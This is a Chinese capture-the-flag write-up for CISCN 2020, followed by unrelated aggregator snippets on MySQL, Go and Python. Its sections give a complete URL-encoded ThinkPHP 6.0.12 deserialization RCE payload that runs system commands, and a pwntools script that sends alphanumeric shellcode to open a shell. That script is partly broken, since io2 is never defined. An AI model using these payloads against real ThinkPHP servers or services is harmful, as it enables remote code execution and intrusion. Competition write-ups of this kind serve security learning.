2020ciscn wp

2023-11-13

目录

1.签到电台

2.基于挑战码的双向认证(1,2)

3.web Ezpo

4.基于挑战码的双向认证3

5.ISO9798

6.问卷调查

7.ez_usb

8.login-nomal


1.签到电台

操作内容:

根据公众号提示

知道了模十的算法,就是每一位除以10得到的余数,所以根据提供的密码本,变成为纯数字版本

取前28位,每四个一组,得到算法结果

进行传参

flag值:

 

2.基于挑战码的双向认证(1,2)

操作内容:

利用MobaXterm连接47.93.176.91 26308

密码账户:player

本来文档不会,随便翻目录,发现有上级文件夹,就一级一级的点

之后发现有root文件夹,点击进去,在里面翻到flag_sever ,尝试着点进去

发现有俩个flag.txt

点击不行,但发现可以读就用命令行如下

cd /root/cube-shell/instance/flag_server
cat flag1.txt
cat flag2.txt

flag值:

 

3.web Ezpo

操作内容:

ThinkPHP6.0.12LTS反序列漏洞分析

ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

ThinkPHP 6.0.12 Unserialize RCE · Issue #2717 · top-think/framework · GitHub

根据这俩篇文章构造参数

a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

flag值:

 

4.基于挑战码的双向认证3

操作内容:

和认证1,2一样,先连接,但尝试了cat抓取 不能成功

就尝试提权 su 密码toor

 然后和上面一样有flag1和flag2,都尝试一遍只有flag2能用

 flag值:

5.ISO9798

操作内容:

 首先nc连接上,出现一个编码sha256,{xxxx+}的符号,就在想需要爆破一下,脚本如下

from hashlib import *
table='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
zifuc='dWCjMIkQL5VT8x1T'
l='7f07d17783e49ffd82bee4bdfccd83a63639e6cfd25730fd12751b0894eb9de1'
for c1 in table:
    for c2 in table:
        for c3 in table:
            for c4 in table:
                hashvalue=sha256((c1+c2+c3+c4+zifuc).encode()).hexdigest()
                if hashvalue==l:
                    print(c1+c2+c3+c4)
                    quit()

爆破出四位密码

 

根据终端提示128位16进制,随便输入

得出数据

之后给的出的数据分组

 

得到flag

flag值:

6.问卷调查

操作内容:

填写问卷调查得到flag

flag值:

7.ez_usb

操作内容:

参考:https://blog.csdn.net/qq_44108455/article/details/108179086

 

 

 分别导出特定分组

 利用kali

 

分别得到压缩包和压缩包密码

利用脚本运行压缩包

 

打开压缩包,密码为:35c535765e50074a

flag值:

8.login-nomal

操作内容:

首先提权login文件

 运行脚本

from pwn import*

ip = "’47.93.158.95’,17363"
io = process('./login')
elf = ELF('./login')
libc = elf.libc
#libc = ELF('./libc-2.23.so')
context(log_level='debug',os='linux',arch='amd64')


def my_read(content):
 size = len(content)
 io2.recvuntil(">")
 io2.send('n:'+ str(size)+'\r\n' + 'op:2\r\n\n')
 io2.recvuntil("?")
 io2.send(content)

def my_write(size):
 io2.recvuntil(">")
 io2.send('n:'+ str(size)+'\r\n' + 'op:3\r\n\n')



io2.recvuntil(">>>")
io2.sendline('opt:1\r\nmsg:ro0t\r\n')

shellcode = '''
Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
'''


io2.recvuntil(">>>")
io2.sendline('opt:2\r\nmsg:'+shellcode+'\r\n')


io2.interactive()

得到flag

flag值:

flag{72604c53-88be-418b-8c4b-dadfeae559c5}

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

2020ciscn wp 的相关文章

  • MySQL锁之一:锁详解

    一 什么是死锁 死锁是指两个或两个以上的进程在执行过程中 因争夺资源而造成的一种互相等待的现象 若无外力作用 它们都将无法推进下去 此时称系统处于死锁状态或系统产生了死锁 这些永远在互相等的进程称为死锁进程 二 死锁产生的四个必要条件 互斥
  • Go-cli框架Cobra

    Cobra是前go语言负责人spf13开发的一款go cli框架 可以轻松规范的处理cli应用场景 项目地址 https github com spf13 cobra作者博客 https spf13 com 所谓官网 https cobra
  • len()函数

    len 函数 描述 len 函数返回对象 字符 列表 元组等 长度或项目个数 语法 len 方法语法 len s 参数 s 对象 返回值 返回对象长度 实例 以下实例展示了 len 的使用方法 str 1111111111111 print
  • Python 11 (paramiko模块,ssh密钥,进程线程,锁,信号量)

    本节内容 paramiko模块 基于SSH用于连接远程服务器并执行相关操作 paramiko模块 SSHClient 用于连接远程服务器并执行基本命令 基于用户名密码连接 Author yyqian import paramiko 创建SS
  • android studio f5,AndroidStudio 快捷鍵

    8种机械键盘轴体对比 本人程序员 要买一个写代码的键盘 请问红轴和茶轴怎么选 符號說明 gt option alt gt shift gt control gt command gt esc 注 与F6 F7 F12等F功能键开头的组合的快
  • java中String、StringBuffer、StringBuilder的区别

    java中String StringBuffer StringBuilder是编程中经常使用的字符串类 他们之间的区别也是经常在面试中会问到的问题 现在总结一下 看看他们的不同与相同 三者共同之处 都是final类 不允许被继承 主要是从性
  • msvcp140.dll丢失如何修复?win7丢失msvcp140.dll的修复方法

    有win7用户在操作电脑的过程中 遇到msvcp140 dll丢失的情况 这是怎么回事 一般是由于系统中丢失dll文件导致的 下面就和小编一起来看看具体的解决办法吧 MSVCP文件的版本 这是我电脑上安装的各版本 VC 版本间互相不重复 并
  • javac不是内部或外部命令,也不是可运行的程序 或批处理文件的细节问题(window10)

    目录 步骤一 找到JDK下的bin目录 运行cmd 输入javac 能提示 说明环境配置有问题 步骤二 cmd输入 path 步骤三 看看下载的JDK包解压后目录对不对 步骤四 检查是否有环境冲突 最后 环境变量配置 描述 打开cmd 输入
  • 前后台交互时客户端请求的中文字变成问号

    今天在写form表单的时候发现提交的中文字在后台接收的时候变成了 如下图 经过检查发现是编码格式的不统一的问题 前台给数据设置了编码格式 而后台没有设置编码格式 就造成了中文字不能识别
  • spring boot中web容器配置

    web容器配置 spring boot 默认的web容器是 tomcat 如果需要换成其他的 web 容器 可以如下配置

随机推荐

  • windows下nginx配置为服务

    1 下载winswx 下载地址 winsw下载 2 解压后将其重命名为 nginx service 并将其放到nginx目录下 3 新建一个文本文档内容如下 里面的路径根据自己的情况修改
  • mysql 8 窗口函数

    使用mysql8 遇到一个问题 分区之后排序 得到的结果不是预想中的值 而把排序取消之后 能够得到正确的结果 如图所示 搞不懂 大佬解释下
  • hadoop datanode没有启动

    datanode启动不了 即执行命令 bin hadoop namenode format 后 默认地址tmp hadoop 1 dfs data current VERSION namenod 和datanode 的clusterid不一
  • Qt5.9中QMessageBox输出变量的用法(或者是字符串添加变量的方法):tr("%1").arg(variable)

    本文主要总结在Qt5 9的Creator4 4 1中 在弹出框QMessageBox中输出变量的方法之一tr 1 arg variable 具体的示例如下所示 str tr 这是变量 QMessageBox warning this tr
  • 基于Vue项目的富文本vue-quill-editor的使用

    基于Vue项目的富文本vue quill editor的使用 文章目录 基于Vue项目的富文本vue quill editor的使用 一 背景 二 Vue Quill Editor使用 1 简介 2 安装 3 挂载到项目 1 全局挂载 2
  • CentOS8 Keepalived 高可用测试

    keepalived 安装与使用 介绍 软件原理 准备工作 软件安装 配置文件 启动 介绍 Keeplived 是一款系统插件 工作在TCP IP 层 通过虚拟IP对外提供服务 当主节点出现故障时 能自动切换到从节点 达到一个高可用的目的
  • ZooKeeper数据存储与数据同步机制

    ZooKeeper中 数据存储分为两部分 内存数据 ZKDatabase 与磁盘数据 事务日志 事务快照 ZKDatabase ZooKeeper的数据模型是一棵树 而从使用角度看 ZooKeeper就像一个内存数据库一样 在内存数据库中
  • 损失函数(loss function)(基本介绍,作用,场景,特点,常见损失函数,代码示例)

    一 损失函数是什么 损失函数 Loss Function 是机器学习和深度学习中的一个重要概念 用于衡量模型预测结果与真实结果之间的差异或误差 它是一个数值评估指标 通过对模型输出和真实标签之间的比较 提供了对模型性能的度量 二 损失函数的
  • 时序预测

    时序预测 MATLAB实现基于BiLSTM双向长短期记忆神经网络的时间序列预测 递归预测未来 多指标评价 目录 时序预测 MATLAB实现基于BiLSTM双向长短期记忆神经网络的时间序列预测 递归预测未来 多指标评价 预测结果 基本介绍 程
  • 100流明相当于多少w_1978年的100元, 相当于现在的多少钱? 答案“出乎意料”...

    点上面蓝色字免费关注 如今的钱是越来越不值钱 每个月四五千的工资在没有负债的情况下 也就刚好够家庭使用 如果有房贷车贷等其他负债 四五千的工资根本就养不活一个家 很多人都怀念七八十年代的生活 一个月几十元工资就能养活一家人而且还没有什么生活
  • maven 打包时异常 <找不到符号 [ERROR] 符号: 方法>

    被依赖项目没有打包到本地仓库 或者没有上传到远程仓库 ERROR Failed to execute goal org apache maven plugins maven compiler plugin 3 3 compile defau
  • 从0到1开发一个React组件库

    背景 前端技术的不断发展过程中 组件化 模块化已成为主流 当开发的项目中有一些公共组件可以沉淀的时候 将这些组件抽离出来 开发一个组件库无疑是一个好的选择 那么怎么去开发一个组件库呢 本文将和你一起从零开发一个 React 组件库 本文项目
  • C#中定义数组

    一 一维 int numbers new int 1 2 3 4 5 6 不定长 int numbers new int 3 1 2 3 定长 二 多维 int numbers new int 1 2 3 1 2 3 不定长 int num
  • C语言——打鱼晒网问题

    一 实例说明 如果一个渔夫从 2011 年 1 月 1 日开始每三天打一次渔 两天晒一次网 编程实现当输入 2011 年1月1日以后的任意一天 输出该渔夫是在打渔还是在晒网 二 实现代码 include
  • SCORE-BASED GENERATIVE MODELING THROUGH STOCHASTIC DIFFERENTIAL EQUATIONS 阅读笔记

    文章提出了一个基于随机微分方程的生成模型 Denoising Score Matching with Annealed Langevin Sampling SMLD 和 Denoising Diffusion Probabilistic M
  • prometheus + grafana 实时监控 Windows性能

    Prometheus 实时监控 Windows性能 Prometheus 简介 Prometheus 具有以下特点 Prometheus 组件 Prometheus功能特性 在业务层用作埋点系统 在应用层用作应用监控系统 在系统层用作系统监
  • 在运用tf_ops算子时出现InvalidArgumentError (see above for traceback): No OpKernel was registered to support

    在运用tf ops算子时出现InvalidArgumentError see above for traceback No OpKernel was registered to support Op FarthestPointSample
  • C++从入门到放弃之:C++ 模板之自制容器

    自制链表容器 1 include
  • DNS递归查询和迭代查询的区别

    1 递归查询 递归查询是由DNS 服务器主动帮主机查询的查询模式 在该模式下本地DNS 服务器接收到主机的请求 如果本地DNS 服务器没有存储相关的DNS 信息 那么该DNS 服务器会询问其他DNS 服务器 以此类推 最后不管成功与否 都将
  • 2020ciscn wp

    目录 1 签到电台 2 基于挑战码的双向认证 1 2 3 web Ezpo 4 基于挑战码的双向认证3 5 ISO9798 6 问卷调查 7 ez usb 8 login nomal 1 签到电台 操作内容 根据公众号提示 知道了模十的算法